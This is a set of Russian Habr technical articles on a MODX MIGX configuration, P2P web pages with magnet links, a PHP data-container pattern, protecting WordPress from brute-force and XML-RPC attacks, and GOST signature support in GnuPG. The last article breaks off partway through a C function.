Многие используют MIGX для создания [фотогалерей](http://rtfm.modx.com/extras/revo/migx/migx.backend-usage), но этим его функционал не ограничивается. Это настоящий конструктор для управления данными любых таблиц БД. Можно даже выводить список дочерних ресурсов (документов MODX) в любом контейнере. Об этом и пойдет речь в данной статье. Кое что я узнал из [документации MIGDB](http://rtfm.modx.com/extras/revo/migxdb/migxdb.tutorials/migxdb.manage-child-resources-in-a-grid-tv-with-help-of-migxdb), но, на сколько я понял, она уже порядком устарела и многое из описанного там просто не работает.
Я расскажу как сделать такую таблицу с вложенными ресурсами:
1. Открыть «Компоненты» -> «MIGX». Перейти на вкладку «MIGX». Нажать кнопку «Добавить элемент».
2. На вкладке «Settings» ввести имя (Name) конфигурации, например «child\_resources». Нажать кнопку «Выполнить».
*Можно было бы очень долго расписывать что где нажать и куда что ввести, но сделаем проще. Я дам готовую конфигурацию, а вы настроите под себя.*
3. Кликнуть правой кнопкой мыши по строке нашей конфигурации и выбрать «Экспорт/Импорт».
В поле в появившемся окне вставить такой JSON массив:
**Показать**
```
{
"formtabs":[
{
"MIGX_id":1,
"caption":"Основные данные",
"print_before_tabs":"0",
"fields":[
{
"MIGX_id":1,
"field":"pagetitle",
"caption":"Заголовок",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
},
{
"MIGX_id":10,
"field":"alias",
"caption":"Псевдоним",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
},
{
"MIGX_id":6,
"field":"introtext",
"caption":"Краткое описание",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"textarea",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
},
{
"MIGX_id":7,
"field":"image",
"caption":"Картинка",
"description":"",
"description_is_code":"0",
"inputTV":"image",
"inputTVtype":"",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
},
{
"MIGX_id":4,
"field":"price",
"caption":"Цена",
"description":"",
"description_is_code":"0",
"inputTV":"price",
"inputTVtype":"",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
},
{
"MIGX_id":5,
"field":"context_key",
"caption":"Контекст",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"listbox",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"catalog||web",
"default":"catalog"
},
{
"MIGX_id":2,
"field":"template",
"caption":"Шаблон",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"hidden",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":5
},
{
"MIGX_id":8,
"field":"show_in_tree",
"caption":"Показывать в дереве?",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"listbox",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"no==0||yes==1",
"default":""
},
{
"MIGX_id":9,
"field":"published",
"caption":"Опубликован",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"hidden",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":1
}
]
},
{
"MIGX_id":2,
"caption":"Подробное описание",
"print_before_tabs":"0",
"fields":[
{
"MIGX_id":1,
"field":"content",
"caption":"Описание",
"description":"",
"description_is_code":"0",
"inputTV":"",
"inputTVtype":"richtext",
"configs":"",
"sourceFrom":"config",
"sources":"[]",
"inputOptionValues":"",
"default":""
}
]
}
],
"contextmenus":"recall_remove_delete",
"actionbuttons":"addItem||bulk||toggletrash",
"columnbuttons":"update||publish||unpublish||recall_remove_delete",
"filters":[
{
"MIGX_id":1,
"name":"search",
"label":"search",
"emptytext":"Поиск...",
"type":"textbox",
"getlistwhere":{
"pagetitle:LIKE":"%[[+search]]%",
"OR:longtitle:LIKE":"%[[+search]]%",
"OR:content:LIKE":"%[[+search]]%"
},
"getcomboprocessor":"",
"combotextfield":"",
"comboidfield":"",
"comboparent":"",
"default":""
}
],
"extended":{
"migx_add":"Добавить",
"formcaption":"Дочерний ресурс",
"update_win_title":"",
"win_id":"child_resources",
"maxRecords":"",
"addNewItemAt":"bottom",
"multiple_formtabs":"",
"extrahandlers":"",
"packageName":"",
"classname":"modResource",
"task":"resconnections",
"getlistsort":"id",
"getlistsortdir":"desc",
"use_custom_prefix":"0",
"prefix":"",
"grid":"",
"gridload_mode":1,
"check_resid":"0",
"check_resid_TV":"",
"join_alias":"",
"has_jointable":"yes",
"getlistwhere":"",
"joins":"",
"cmpmaincaption":"",
"cmptabcaption":"",
"cmptabdescription":"",
"cmptabcontroller":"",
"winbuttons":"",
"onsubmitsuccess":"",
"submitparams":""
},
"columns":[
{
"MIGX_id":1,
"header":"ID",
"dataIndex":"id",
"width":50,
"sortable":true,
"show_in_grid":1,
"renderer":"",
"clickaction":"",
"selectorconfig":"",
"renderchunktpl":"",
"renderoptions":"[]"
},
{
"MIGX_id":2,
"header":"Заголовок",
"dataIndex":"pagetitle",
"width":300,
"sortable":true,
"show_in_grid":1,
"renderer":"this.renderRowActions",
"clickaction":"",
"selectorconfig":"",
"renderchunktpl":"",
"renderoptions":"[]"
},
{
"MIGX_id":3,
"header":"Цена",
"dataIndex":"price",
"width":100,
"sortable":true,
"show_in_grid":1,
"renderer":"",
"clickaction":"",
"selectorconfig":"",
"renderchunktpl":"",
"renderoptions":"[]"
},
{
"MIGX_id":4,
"header":"Опубликован",
"dataIndex":"published",
"width":100,
"sortable":"false",
"show_in_grid":1,
"renderer":"this.renderCrossTick",
"clickaction":"",
"selectorconfig":"",
"renderchunktpl":"",
"renderoptions":"[]"
},
{
"MIGX_id":5,
"header":"Удален",
"dataIndex":"deleted",
"width":"",
"sortable":"false",
"show_in_grid":"0",
"renderer":"",
"clickaction":"",
"selectorconfig":"",
"renderchunktpl":"",
"renderoptions":"[]"
}
]
}
```
Готов интерфейс управления ресурсами.
4. Создать файл конфигурации **/core/components/migx/configs/grid/grid.child\_resources.config.inc.php** с таким содержимым:
```
php
$this-customconfigs['idfield_local'] = 'parent';
$this->customconfigs['includeTVs'] = 1;
$this->customconfigs['includeTVList'] = 'price,image';
```
Как вы догадались, **includeTVList** это список всех TV, которые вам нужны в компоненте.
5. Снова кликнуть по строке конфигурации «child\_resources» и выбрать «Редактировать». Перейти «Formtabs» -> «Основные данные» -> «Редактировать». Откроется список всех полей. Здесь надо настроить имена полей и TV, которые вам нужны.
6. Как видим, для поля «image» установлен «Input TV» — «image». Если такой TV-параметр (дополнительное поле) ещё не создан, то нужно его создать, назначить тип ввода «Изображение» и сделать доступным для нужного шаблона. Так же с остальными TV.
7. Открыть редактирование поля «template», перейти на вкладку «Input Options» и в поле «Default Value» ввести ID шаблона дочерних ресурсов, которыми будем управлять через наш компонент. Так же следует настроить поле «context\_key». Выставить там нужные контексты.
8. Теперь нужно сделать чтобы список ресурсов появлялся при редактировании ресурсов с соответствующим шаблоном. Создаем TV, например с именем «child\_resources». Тип ввода указать «migxdb», в поле «Конфигурации» ввести название созданной ранеее конфигурации («child\_resources»).
Сделать доступным этот TV для соответствующих ресурсам-контейнерам шаблонов.
9. На этом можно было бы закончить, но т.к. MIGX ещё сыроват мне пришлось поправить процессоры в папке "/processors/mgr/resconnections/". Взять из можно [здесь](https://bitbucket.org/andchir/migx/src/873758a934e867c87da6f7efe310b9be134c2771/core/components/migx/processors/mgr/resconnections?at=master). Ещё нужно обновить код файла [migx.class.php](https://bitbucket.org/andchir/migx/src/873758a934e867c87da6f7efe310b9be134c2771/core/components/migx/model/migx/migx.class.php?at=master).
Теперь всё должно работать как надо.
Таким способом вы можете сделать управление для любых данных. С помощью MIGXDB можно создавать и редактировать свои таблицы в БД. Об этом написано [здесь](http://modx-shopkeeper.ru/documentation/modx-revolution/tovaryi-iz-otdelnoj-tabliczyi.html). | https://habr.com/ru/post/196396/ | null | ru | null |
# Интернет на магнитах 2 — Гипертекст
[](https://habrahabr.ru/post/141307/) Пора дать волю гипертексту и расширить возможности его распространения не только классическим клиент-серверным способом, но и в одноранговых сетях. Для того, чтобы воспринимался он в полной мере малыми усилиями, придется постараться вебмастеру. Для этого необходимо ресурсы, нужные для корректного отображения упаковать в HTML. Если со скриптами и стилями все понятно — их текст можно вставить содержимым соответствующих тегов script и style, для изображений уже необходима предварительная обработка.
Обработка изображения
---------------------
Изображение необходимо сохранить в JPEG c включенным прогрессивным режимом, причем уровень сжатия нужно отрегулировать так, чтобы изображение выглядело хорошо не только при полной его загрузке, но и достаточно приемлемо в обрезанном варианте для IE (Ограничение в 32768 символов в data url). Для этого я, например, воспользовался IrfanView. При сохранении изображения ставим галочку на прогрессивном режиме(Save as progressive JPG). Дополнительно поставил галку на «Try to save with original JPG quality». Остальные все снял: не надо нам лишних данных в файле.
Воспользуемся Data Url
----------------------
Теперь кодируем в base64 полученное изображение. Плагин MIME Tools для notepad++ прекрасно с этим справляется.
1. Открываем файл изображения в Notepad++
2. Правка -> Выделить всё
3. MIME Tools -> Base64 encode
4. Дописываем к полученному результату в начало «data:image/jpeg;base64,»
5. Копируем и вставляем в HTML документ
```
```
Другие форматы изображений надо стараться укладывать в рамки IE, то есть в 21830 байт в случае использования base64. Также не забываем поменять mime тип image/jpeg на соответствующий типу файла.
Имя файла гипертекста и внешних ресурсов
----------------------------------------
Требования:
1. Уникальность имени — Имя файла надо выбирать с учётом того, что файл может оказаться в одной директории со множеством других. Для этого к имени можно добавить время создания или crc файла.
2. Ваш уникальный префикс — имя файла желательно начать с имени автора (или другого ключа, который вы будете использовать для всех созданных страниц). Тем самым будет удобно сгруппировать файлы по автору.
```
03.04.2012 13:04 947 346 archimeta-ru-kryg-2012-04-03-13-04.mp4
03.04.2012 13:05 1 792 810 archimeta-ru-kryg-2012-04-03-13-04.ogv
03.04.2012 13:05 1 107 873 archimeta-ru-kryg-2012-04-03-13-04.webm
03.04.2012 14:28 243 432 ivan386-p2p-html-2012-04-03-13-04.html
```
Внешние ресурсы
---------------
К сожалению, не всё можно упаковать в один файл. При значительных размерах html могут возникать проблемы с производительностью браузера. Так что видео и аудио подкасты придется держать(и соответственно загружать) отдельно. Тем более для полной совместимости требуется 3 типа видео и 3 типа аудио (можно ещё конечно и wav по желанию).
У нас имеются все необходимые версии видео и аудио, прогоняем их через [rhash](http://rhash.anz.ru) и получаем комбинированный магнит для каждого.
Я, например, написал такой cmd файл:
```
%~d0
cd %~p0
rhash --torrent -p "%%f#magnet:?xt=urn:ed2k:%%e&xl=%%s&dn=%%u&xt=urn:tree:tiger:%%t&xt=urn:btih:%%{btih}" %1 %2 %3 %4 %5 %6 %7 %8 %9 | clip
```
Комбинированный магнит прям в буфер обмена и торрент файл рядом. Правда clip с висты появился, поэтому к старой доброй ХП нужна отдельная утилита. Ну или старый добрый способ:
```
rhash --torrent -p "%%f#magnet:?xt=urn:ed2k:%%e&xl=%%s&dn=%%u&xt=urn:tree:tiger:%%t&xt=urn:btih:%%{btih}" %1 %2 %3 %4 %5 %6 %7 %8 %9 > temp.txt
notepad temp.txt
```
```
archimeta-ru-kryg-2012-04-03-13-04.mp4#magnet:?xt=urn:ed2k:e803fe1127ad3cd20bc335bbd17c6c8b&xl=947346&dn=archimeta-ru-kryg-2012-04-03-13-04.mp4&xt=urn:tree:tiger:tm6z5ohogst2qsmbq2awl7dz4niz2dokzawz5jq&xt=urn:btih:884162be8064f3bf10e524a0b03fc0e3e796c56f
```
Также [Shareaza](http://shareaza.sf.net) умеет делать магниты по шаблону (если файл уже расшарен его не надо будет второй раз обрабатывать).
Можно было бы отдельно дать магнит на файл, но лучше разделить их скриптом. Так магнит жёстко привязан к ресурсу, и понятно, что это один файл. Это в дальнейшем позволит автоматизировать процесс загрузки. В магните можно указать и прямую ссылку на файл на сервере (см. [Веб ссылка на файл(as, xs)](http://ru.wikipedia.org/wiki/Magnet-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0#.D0.92.D0.B5.D0.B1-.D1.81.D1.81.D1.8B.D0.BB.D0.BA.D0.B8_.D0.BD.D0.B0_.D1.84.D0.B0.D0.B9.D0.BB)).
Скорей всего, открыв страницу с видео в первый раз, сам видеофайл ещё не будет лежать на диске, и его только предстоит загрузить. Поэтому в свойстве preload тега video ставим none, а в свойство poster вставляем data url с кадром из видео или любым другим контентом, чтобы заполнить пустующее место.
Ну, собственно, в source теги записываем наши комбинированные магниты в порядке mp4, webm, ogv.
```
```
Когда наша p2p веб страничка готова, аналогичным способом делаем на неё комбинированный магнит и публикуем его. Естественно, если вы публикуете её на внешнем ресурсе, то имеет смысл воспользоваться только магнитом.
Не забываем, что для того чтобы была возможность получить вашу страничку и ресурсы, её надо расшарить в p2p сетях. На данный момент для этого хорошо подходит клиент [Shareaza](http://shareaza.sf.net) т.к. поддерживает несколько сетей.
Ну, вот, думаю, пора и закончить вторую часть статьи, а то я её уже и так долго продержал на своём диске.
[](https://ivan386.github.io#magnet:?xt=urn:ed2k:d16955900b7fe6e1472bd8e94daf4c7b&xl=243432&dn=ivan386-p2p-html-2012-04-03-13-04.html&xt=urn:tree:tiger:l6t3naaotspz7fad4u5xfhcmdis4au6f7zyfrci&xt=urn:btih:7c276c327c1fdfcee3564367fafa786b1fd3cf12&as=http://ivan386.github.io/ivan386-p2p-html-2012-04-03-13-04) [Эта статья с примерами](http://ivan386.github.io/ivan386-p2p-html-2012-04-03-13-04.html#magnet:?xt=urn:ed2k:d16955900b7fe6e1472bd8e94daf4c7b&xl=243432&dn=ivan386-p2p-html-2012-04-03-13-04.html&xt=urn:tree:tiger:l6t3naaotspz7fad4u5xfhcmdis4au6f7zyfrci&xt=urn:btih:7c276c327c1fdfcee3564367fafa786b1fd3cf12&as=http://ivan386.github.io/ivan386-p2p-html-2012-04-03-13-04)
[Интернет на магнитах 1 — Магнит](https://habrahabr.ru/post/136764/)
[Интернет на магнитах 2 — Гипертекст](https://habrahabr.ru/post/141307/)
[Интернет на магнитах 3 — P2P Сайт и Форум](https://habrahabr.ru/post/273713/)
[Интернет на магнитах 4 — Делим магнит на части](https://habrahabr.ru/post/309352/)
[Интернет на магнитах 5 — Маяки и сообщения(личные, публичные и обновления)](https://habrahabr.ru/post/330666/) | https://habr.com/ru/post/141307/ | null | ru | null |
# Универсальный контейнер данных
В последние лет 5 я, по большей части, имею дело с приложениями на базе Magento, в основу которой заложены идеи максимальной гибкости, расширяемости и адаптивности. Популярность Magento в e-commerce и количество сторонних модулей расширений к ней говорят о том, что эта платформа и реализованные в ней идеи скорее успешные, чем наоборот. В основу большого количества объектов в Magento заложена концепция универсального контейнера данных ([Varien\_Object](https://docs.magentocommerce.com/Varien/Varien_Object/Varien_Object.html) в Magento 1 и [\Magento\Framework\DataObject](https://github.com/magento/magento2/blob/develop/lib/internal/Magento/Framework/DataObject.php) в Magento 2). Я нахожу у подобных универсальных контейнеров определенные параллели с такими явлениями, как* POJO (Java)
* JSON
* XPath
* DOM
* СУБД (реляционные и не очень)
* SPA (Single Page Applications)
ну и в конце концов — с [Гарвардской архитектурой ЭВМ](https://ru.wikipedia.org/wiki/%D0%93%D0%B0%D1%80%D0%B2%D0%B0%D1%80%D0%B4%D1%81%D0%BA%D0%B0%D1%8F_%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0), разработанной [Говардом Эйкеном](https://ru.wikipedia.org/wiki/%D0%AD%D0%B9%D0%BA%D0%B5%D0%BD,_%D0%93%D0%BE%D0%B2%D0%B0%D1%80%D0%B4) в 1930-х годах.Что такое "универсальный контейнер данных"?
-------------------------------------------
Это обычный ассоциативный массив, карта (map) в котором каждому ключу соответствуют какие-то данные, включая другие ассоциативные массивы. Контейнер содержит, таким образом, дерево данных с одной точкой входа и отсутствием замкнутых контуров (весьма желательное условие). Что-то типа:
```
$customer = ['Id' => 21, 'Name' => 'Janis Zarinsh'];
$order = ['Id' => 32, 'Amount' => 43.32, 'Currency' => 'EUR'];
$data = [];
$data['Customer'] = $customer;
$data['SaleOrder'] = $order;
```
Любой "лист" дерева или часть дерева (поддерево) адресуется "путем" — перечислением всех ключей по дороге к цели:
```
$orderId = $data['SaleOrder']['Id'];
```
В PHP с использованием magic-методов можно [реализовать](https://github.com/praxigento/mobi_mod_common_core/blob/master/src/DataObject.php) то же самое в таком виде:
```
$customer = new DataObject(['Id' => 21, 'Name' => 'Janis Zarinsh']);
$order = new DataObject(['Id' => 32, 'Amount' => 43.32]);
$order->setCurrency('EUR');
$data = new DataObject();
$data->setCustomer($customer);
$data->setSaleOrder($order);
```
Адресация в более привычном виде (как путь к файлу в \*nix):
```
$orderId = $data->getData('/SaleOrder/Id');
```
Что имеем в результате? Контейнер для переноса любых данных. Описание PHP разработчиком объектов, аналогичных POJO в Java, сводится к аннотированию их акцессоров (get/set методов) для того, чтобы можно было использовать автодополнение в IDE. Можно все то же самое делать через аннотацию [@property](http://manual.phpdoc.org/HTMLSmartyConverter/PHP/phpDocumentor/tutorial_tags.property.pkg.html), это будет даже несколько короче (правда потребует другой реализации DataObject, через **get,** set), но мне удобнее вот так:
```
/**
* @method array getBaseCalcData()
* @method void setBaseCalcData(array $data)
* @method array getDependentCalcData()
* @method void setDependentCalcData(array $data)
*/
class GetForDependentCalc extends DataObject {}
```
Как автор этого объекта я определил те свойства, которые я использую в своих целях. Универсальный контейнер передаст используемые мной данные от одного обработчика данных к другому (например, от одного моего сервиса с другому моему сервису) и совершенно не будет против, если в процессе транспортировки в него будут добавлены другие данные (например, каким-либо расширением, написанным совершенно другим разработчиком). Более того, можно "научить" универсальный контейнер автоматически преобразовывать хранимые в нем данные в формат, например, JSON и передать эти данные с серверной стороны в браузер. И вместе с моими данными контейнер также преобразует и данные, подготовленные сторонним расширением моего кода на серверной стороне и используемые сторонним расширением моего кода на стороне клиента.Некоторым образом универсальный контейнер данных противоречит объектно-ориентированной парадигме, разделяя в приложении чистые объекты-данные и объекты-обработчики. Но это, скорее даже, не противоречие, а граничный случай использования ООП — как POJO. Универсальный контейнер данных так же хорошо может сосуществовать с ООП, как и RDBMS — ведь, в конце-концов, RDBMS — это тоже своего рода "универсальный контейнер данных". Теоретически, любую базу данных можно поместить в ассоциативный массив (если мы говорим именно про данные, а не про обработчики — триггера/процедуры/функции)."Зачем нам весь этот тюнинг в зоопарке?"
----------------------------------------
### Расширяемость
Magento, помимо своего основного предназначения в виде платформы для создания интернет-магазинов, также является средой для создания расширений своего базового функционала. Существует великое множество плагинов к Magento — простых и сложных, бесплатных и коммерческих (некоторые из которых весьма недешевы). И универсальный контейнер данных является базовым концептом в ее архитектуре. Правда в Magento он в основном используется как ядро для построения большинства остальных компонентов системы (родительский класс), а не является "чисто данными". Тем не менее своей расширяемостью Magento не в последнюю обязана именно ему. Подобный подход может быть полезен в любых платформах, которые подразумевают открытость к созданию для них расширений сторонними разработчиками.### "Дальний космос"
Что объединяет любые приложения, так это то, что они все обрабатывают данные. Как правило, данные сохраняются в базе, извлекаются из нее и помещаются обратно слоем бизнес-логики, трансформируются для представления в удобном для пользователя виде на уровне UI, и там же получаются от пользователя и трансформируются в удобный для обработки и последующего хранения вид. Иногда, а в web-приложениях практически всегда, данные передаются из одной "вселенной" (серверный слой бизнес-логики, например, на PHP) в другую "вселенную" (клиентский презентационный слой на JavaScript). И в это путешествие, как правило, отправляются только данные — в виде JSON/XML/… Весь функционал остается на месте, он попросту не применим в "другой вселенной".Универсальный контейнер данных "вселенной A" (PHP) может преобразовать свои данные в транскод (например, JSON) и отправить их во "вселенную B" (JavaScript), или преобразовать в другой транскод (например, XML) и отправить данные во "вселенную C" (например, SOAP-сервис на Java). Или "B" сначала может преобразовать и отправить данные в "C", затем получить ответ от "C", обработать и отправить в "A", а "A", при необходимости, может и сама обратиться в "C". Самое главное, что универсальный контейнер каждой "вселенной" может разбирать и генерировать транскод (JSON/XML/YAML/...), адаптируя к своей среде выполнения не только те данные, которые заложил в него разработчик самого приложения ("A"), но и дополнительные данные, которые прицепили к "посылке" разработчики сервиса ("C") или клиента ("B").### Гибкая конвейеризация
Функции допускают задание множества аргументов, но результат, как правило, возвращается единственен:
```
function tooManyArgs($arg1, $arg2, $arg3) {}
```
Если ограничить количество входных аргументов в функцию-процессор одним единственным аргументом (как и результат работы функции):
```
function oneArgOnly($data) {}
```
то можно получить весьма интересные последствия в виде цепочек функций-процессоров, где выходные данные одних функций являются входными данными для других. Пример практического применения подобного подхода — [обещания](https://learn.javascript.ru/promise) в JavaScript:
```
httpGet(...)
.then(...)
.then(...)
.then(...)
```
В PHP конвейер обработчиков мог бы выглядеть примерно так:
```
function proc5(DataObject $arg)
{
$result = new DataObject();
$customer = $arg->getData('/Customer');
$order = $arg->getData('/SaleOrder');
// ...
$result->setData('/Transaction', $trans);
return $result;
}
function proc6(DataObject $arg)
{
$result = new DataObject();
$transaction = $arg->getData('/Transaction');
// ...
$result->setData('/Balance', $balance);
return $result;
}
$res5 = proc5($data);
$res6 = proc6($res1);
$amount = $res6->getData('/Balance/Amount');
```
Можно из набора подобных функций-процессоров на описательном уровне строить поток обработки данных:
```
proc3
proc4
proc5
```
и изменять его в зависимости от обрабатываемых данных:
```
/Balance/Amount
0
...
...
```
Данной технике будет, как говорится, ["сто лет в обед"](https://ru.wikipedia.org/wiki/BPEL), но свою [нишу](http://www.intalio.com/) она имеет.Итого
-----
С моей точки зрения "Гарвардский подход" мистера Говарда Эйкена по разделению кода и данных может стать базой для достаточного количества интересных решений в области разработки ПО.*"Будем искать!"* (с) С. С. Горбунков | https://habr.com/ru/post/273261/ | null | ru | null |
# И опять атака на сайты Wordpress — перебор + XMLRPC
С полудня субботы на моем сервере, где хостится около 25 сайтов на Wordpress, начались дикие тормоза. Так как мне удалось пережить предыдущие атаки ([атака 1 — ровно год назад](http://habrahabr.ru/post/188932/), [атака 2 — в марте](http://habrahabr.ru/post/215543/)) не замеченными, то я не сразу понял, в чем дело.
Когда разобрался, то выяснилось, что идет перебор паролей + множество запросов к XMLRPC.
В результате удалось это все отсечь, хотя и не сразу. По катом три простых приема, как этого избежать.
Эти приемы скорее всего всем известны, но я наступил на пару граблей, которых не нашел в описаниях — вдруг это кому-то сэкономит время.
1. Останавливаем перебор, плагин Limit Login Attempts — ставим именно его, так как другие защиты сильно подвешивают сервер, например, при использовании плагина Login Security Solution сервер умер через полчаса, плагин сильно грузит базу.
В настройке обязательно включите галочку «За прокси» — иначе он будет для всех определять ip вашего сервера и автоматически блокировать всех.
UPDATE, спасибо [DarkByte](http://habrahabr.ru/users/darkbyte/), подробности ниже в комментах — галочку «За прокси» включаем только если не работает определение при включенном «Прямое подключение»
2. Отключаем XML-RPC — плагин Disable XML-RPC (его просто активировать и всё).
3. Закрываем wp-login.php — если обращаться к сайту через ip, то плагин не срабатывает и подборщики продолжают долбить сайт. Чтобы этого избежать, в .htaccess добавляем:
```
Order Deny,Allow
Deny from all
```
Файл wp-login копируем, переименовываем в любое странное имя, например poletnormalny.php и внутри файла автозаменой меняем все надписи wp-login.php на poletnormalny.php.
Все, теперь к админке можно обратиться только по вашему файлу.
После этих 3 несложных шагов сайты опять начали летать и пришло спокойствие.
#### Ну и вдруг интересно
Один из вариантов как посмотреть, что вас атакуют. Это можно увидеть в логах nginx (например, вот путь для Debian /var/log/nginx файл access.log).
Если идет перебор, то вы увидите множество строк вида:
87.230.87.xx — - [04/Aug/2014:06:35:53 +0400] «POST /wp-login.php HTTP/1.0» 200 5791 "-" "-"
Запросы XMLRPC:
95.0.83.xx — - [04/Aug/2014:06:48:03 +0400] «POST /xmlrpc.php HTTP/1.0» 499 0 "-" «Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)» | https://habr.com/ru/post/232129/ | null | ru | null |
# Инфраструктура открытых ключей: GnuPG/SMIME и токены PKCS#11 с поддержкой российской криптографии
Неумолимо приближается час «Ч»: «использование схемы подписи ГОСТ Р 34.10-2001 для формирования подписи после 31 декабря 2018 года не допускается!». И вот, наконец, 16 июля 2018 г. на [сайте](https://sc.minsvyaz.ru/) Федерального ситуационного центра электронного правительства появилось [Уведомление](https://sc.minsvyaz.ru/media/docs/Uvedomlenie_o_nachale_vipuska_sertificatov_GOST_2012.doc) о начале выпуска сертификатов ключей проверки электронных подписей подчиненных удостоверяющих центров на головном удостоверяющем центре в соответствии с ГОСТ Р 34.10-2012. Правда, все равно не ясно когда же прекратится выпуск старых сертификатов. Но «процесс пошел» и это радует.
Введение в обиход новой электронной подписи предполагает наличие средств не только по [выпуску](https://habr.com/post/415423/) сертификатов по ГОСТ Р 34.10-2012, но и наличие средств формирования и проверки этой подписи. Об одном из таких средств можно на страницах habr уже [рассказывалось](https://habr.com/ru/post/457288/)
Электронная подпись активно используется не только в электронном документообороте (ЭДО), но и при электронной переписке (email):
Если говорить об OpenSource проектах в области ИОК на базе сертификатов X509, то наряду с Network Security Services (NSS), OpenSSL, широкой популярностью пользуется проект [GnuPG/SMIME](https://ru.wikipedia.org/wiki/S/MIME). Криптографическим ядром данного проекта является библиотека [LibGCrypt](https://habr.com/post/414249/). Существенным при этом является то, что эта библиотека поддерживает криптоалгоритмы ГОСТ Р 34.10-2012 и ГОСТ Р 34.11-2012 (STRIBOG256 и STRIBOG512) и не требует никакой доработки, по крайней мере, для функций формирования электронной подписи и ее проверки. Для разбора, манипулирования объектами ИОК (сертификаты, запросы на сертификаты, электронная подпись и т.п.) в GnuPG используется библиотека [LibKSBA](https://habr.com/post/415611/). В отличии от LibGCrypt в библиотеке libksba не реализованы [рекомендации](https://tc26.ru/standarts/metodicheskie-rekomendatsii/) ТК-26 для криптографических сообщений формата CMS. В [статье](https://habr.com/post/415611/) показана модернизация библиотеки libksba, связанная с разбором сертификатов X509 и сообщений CMS (PKCS7), что позволило обеспечить проверку электронной подписи сертификатов и электронной подписи документов PKCS#7. Сегодня мы пойдем дальше и добавим в библиотеку функционал для формирования CMS формата PKCS#7. Это позволит обеспечить поддержку электронной подписи по ГОСТ Р 34.10-2001.2012 (после определенной модернизации самого проекта GnuPG) и в модуле GnuPG/SM.
[](https://www.easycoding.org/2018/01/11/rabotaem-s-cifrovymi-podpisyami-gpg.html)А в конечном итоге, окажется возможным использование отечественной электронной подписи как в почтовом клиенте KMail (кстати говоря, и во многих других почтовых клиентах), так и в утилите Kleopatra как для проверки электронной подписи, так и ее формирования для различных файлов:
[](https://habr.com/post/400943/)Теперь о главном. В дальнейшем будем исходим из того, что пользователи хранят свои личные сертификаты (закрытый ключ и сертификат ключа проверки электронной подписи) на токенах/смарткартах PKCS#11 с реализацией на них по крайней мере функций формирования электронной подписи (механизмы CKM\_GOSTR3410 для формирования ЭП по ГОСТ Р 34.10-2001/2012 с длиной ключа 256 бит и/или CKM\_GOSTR3410\_512 для формирования ЭП по ГОСТ Р 34.10-2012 с длиной ключа 512 бит). Оптимальный вариант это когда функционал токена/смаркарты поддерживает стандарт PKCS#11 v.2.40.
Для доступа к токенам PKCS#11 в GnuPG используется утилита [gnupg\_pkcs11\_scd](http://gnupg-pkcs11.sourceforge.net/). В наших примерах используется утилита gnupg\_pkcs11\_csd [версии 0.9.1](https://github.com/alonbl/gnupg-pkcs11-scd/releases). Главной задачей этой утилиты (помимо организации выполнения криптографических функций PKCS#11, например, подписать хэш), является разбор сертификатов, хранящихся на токене, получение информации об отрытом ключе в виде S-выражения и передача ее вверх по цепочке. Это операцию выполняет функция keyutil\_get\_cert\_sexp, которая находится в файле keyutil.c. К сожалению, эта утилита заточена только на работу с RSA-сертификатами. Но поскольку в нашем распоряжении имеется библиотека libksba да еще доработанная для работы ГОСТ-сертификатами, то оказалось на удивление просто переписать функцию keyutil\_get\_cert\_sexp для обработки любых сертификатов, поддерживаемых библиотекой libksba:
```
/*
Convert X.509 RSA/ECC/DSA/GOST public key into gcrypt internal sexp form. The resul is stored
in *sexp, which must be freed (using ) when not needed anymore. *sexp must be
NULL on entry, since it is overwritten.
*/
gpg_err_code_t
keyutil_get_cert_sexp (
unsigned char *der,
size_t len,
gcry_sexp_t *p_sexp
) {
gpg_err_code_t error = GPG_ERR_GENERAL;
gcry_mpi_t n_mpi = NULL;
gcry_mpi_t e_mpi = NULL;
gcry_sexp_t sexp = NULL;
gpg_error_t err;
ksba_sexp_t p;
ksba_cert_t ks_cert;
size_t n;
err = ksba_cert_new (&ks_cert);
if (err) {
error = GPG_ERR_BAD_KEY;
goto cleanup;
}
err = ksba_cert_init_from_mem (ks_cert, der, len);
if (err) {
error = GPG_ERR_BAD_KEY;
goto cleanup;
}
/* Get the public key from the certificate. */
p = ksba_cert_get_public_key (ks_cert);
n = gcry_sexp_canon_len (p, 0, NULL, NULL);
if (!n)
{
ksba_free (p);
error = GPG_ERR_BAD_KEY;
goto cleanup;
}
err = gcry_sexp_sscan ( p_sexp, NULL, p, n);
if (err) {
error = GPG_ERR_BAD_KEY;
goto cleanup;
}
ksba_free (p);
error = GPG_ERR_NO_ERROR;
goto cleanup;
#if 0
if (
(error = keyutil_get_cert_mpi (
der,
len,
&n_mpi,
&e_mpi
)) != GPG_ERR_NO_ERROR
) {
goto cleanup;
}
if (
gcry_sexp_build (
&sexp,
NULL,
"(public-key (rsa (n %m) (e %m)))",
n_mpi,
e_mpi
)
) {
error = GPG_ERR_BAD_KEY;
goto cleanup;
}
*p_sexp = sexp;
sexp = NULL;
error = GPG_ERR_NO_ERROR;
#endif
cleanup:
if (n_mpi != NULL) {
gcry_mpi_release (n_mpi);
n_mpi = NULL;
}
if (e_mpi != NULL) {
gcry_mpi_release (e_mpi);
e_mpi = NULL;
}
